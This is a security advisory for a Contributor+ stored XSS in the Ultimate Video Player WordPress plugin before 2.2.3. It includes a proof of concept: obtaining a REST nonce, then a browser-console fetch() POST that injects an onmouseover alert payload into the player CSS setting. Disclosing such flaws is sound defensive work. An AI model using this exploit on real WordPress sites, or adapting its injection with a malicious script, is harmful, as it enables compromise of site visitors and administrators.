Lucene search

K
wpexploitDmitrii IgnatyevWPEX-ID:4832E223-4571-4B45-97DB-2FD403797C49
HistoryMar 20, 2024 - 12:00 a.m.

The Ultimate Video Player For WordPress < 2.2.3 - Contributor+ Stored XSS

2024-03-2000:00:00
Dmitrii Ignatyev
54
wordpress
ultimate video player
xss
contributor
rest nonce
player branding
security

AI Score

9

Confidence

High

EPSS

0

Percentile

9.0%

Description The plugin does not have proper capability check when updating its settings via a REST route, allowing Contributor and above users to update them. Furthermore, due to the lack of escaping in one of the settings, this also allows them to perform Stored XSS attacks

As a contributor, get a REST nonce by opening https://example.com/wp-admin/admin-ajax.php?action=rest-nonce (when being logged in)

Then run the below command in the developer console of the web browser (still while being logged in as a contributor, and having put the nonce retrieved)

fetch("/wp-json/presto-player/v1/settings", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "method": "POST",
  "body": 'presto_player_branding[player_css]=123"onmouseover=alert(/XSS/)//&_wpnonce=<NONCE>',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered in all pages when the Audio player is embed and the mouse is moved over it.

AI Score

9

Confidence

High

EPSS

0

Percentile

9.0%

Related for WPEX-ID:4832E223-4571-4B45-97DB-2FD403797C49